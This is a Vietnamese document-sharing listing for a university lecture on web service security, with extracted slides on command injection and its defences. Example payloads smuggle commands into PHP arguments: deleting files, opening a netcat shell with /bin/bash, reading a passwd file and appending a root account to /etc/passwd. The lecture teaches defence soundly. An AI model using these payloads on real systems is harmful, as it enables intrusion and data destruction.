Danh mục tài liệu

Bài giảng An ninh mạng - Bài 9: An toàn dịch vụ web - SQL injection, XSS, CSRF

Số trang: 31      Loại file: pdf      Dung lượng: 734.96 KB      Lượt xem: 19      Lượt tải: 0    
Xem trước 4 trang đầu tiên của tài liệu này:

Thông tin tài liệu:

Bài giảng An ninh mạng - Bài 9: An toàn dịch vụ web - SQL injection, XSS, CSRF. Bài này cung cấp cho sinh viên những nội dung gồm: tổng quan về hoạt động của dịch vụ Web; tấn công dạng Command Injection; SQL Injection; XSS; CSRF; quản lý phiên;... Mời các bạn cùng tham khảo!
Nội dung trích xuất từ tài liệu:
Bài giảng An ninh mạng - Bài 9: An toàn dịch vụ web - SQL injection, XSS, CSRF BÀI 9. AN TOÀN DỊCH VỤ WEB SQL INJECTION, XSS, CSRF Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 1Nội dung• Tổng quan về hoạt động của dịch vụ Web• Tấn công dạng Command Injection• SQL Injection• XSS• CSRF• Quản lý phiên 2 1 1. TẤN CÔNG DẠNG COMMAND INJECTION Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 3Command Injection• Lợi dụng lỗ hổng không kiểm soát giá trị các đối số khi thực thi kịch bản (servlet) trên web server Không phân biệt được dữ liệu và mã nguồn trong đối số• Ví dụ: Website chứa servlet cung cấp tính năng tính toán biểu thức bất kỳ qua hàm eval() … http://site.com/calc.php $in = $_GET[‘exp]; Nội dung biểu thức được truyền eval($ans = . $in . ;); qua đối số exp. Ví dụ: … http://site.com/calc.php?exp=1+1 • Servlet thực thi như thế nào nếu truyền đối số như sau: http://site.com/calc.php?exp=“10 ; system(‘rm *.*’)” 4 2 Command Injection – Ví dụ khác 1. http://site.com/exec/ Client Server 2. Send pagePing for FREEEnter an IP address below: Ô nhập dữ liệu 6 3Command Injection – Ví dụ khác Client Server 2. Send page … $t = $_REQUEST[‘ip]; $o = shell_exec(‘ping –C 3’ . $t); echo $o … PHP exec program 7Command Injection – Ví dụ khác 127.0.0.1;ls Client Server 2. Send page … $t = $_REQUEST[‘ip]; $o = shell_exec(‘ping –C 3’ . $t); echo $o … PHP exec program 8 4Command Injection – Ví dụ khác• Thực thi shell ip=127.0.0.1+%26+netcat+-v+- e+/bin/bash+-l+-p+31337&submit=submit netcat –v –e ‘/bin/bash’ –l –p 31337 9Command Injection – Ví dụ khác• Mã PHP để gửi email: $email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”)• Chèn mã thực thi khi truyền giá trị cho đối số: http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls• Hoặc http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh>>/etc/passwd; ls 10 5Phòng chống• Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ Ký tự nào là hợp lệ?Phụ thuộc ngữ cảnh• Làm sạch đầu vào (input sanitization): Xác định các ký tự đặc biệt không nên xuất hiện Thêm dấu ‘’ đặt trước các ký tự đặc biệt Xóa các ký tự đặc biệt Có thể vượt qua như thế nào• Cách tốt hơn: không cho các hàm có quá nhiều quyền thực thi nếu có thể và phân tách tham số cần thiết từ giá trị đầu vào 11Phòng chống – Ví dụ // Get input $target = $_REQUEST[ ip ]; // Split the IP into 4 octects $octet = explode( ., $target ); // Check IF each octet is an integer if((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric((octet[2])) && (is_numeric( $octet[3])) && (sizeof($octet) == 4)) { // If all 4 octets are ints put the IP back together. $target = $octet[0] . . . $octet[1] . . . $octet[2] . . . $octet[3]; //call shell_exec() } else { // Ops. Let the user name theres a mistake $html .= ERROR: You have entered an invalid IP.; } 12 ...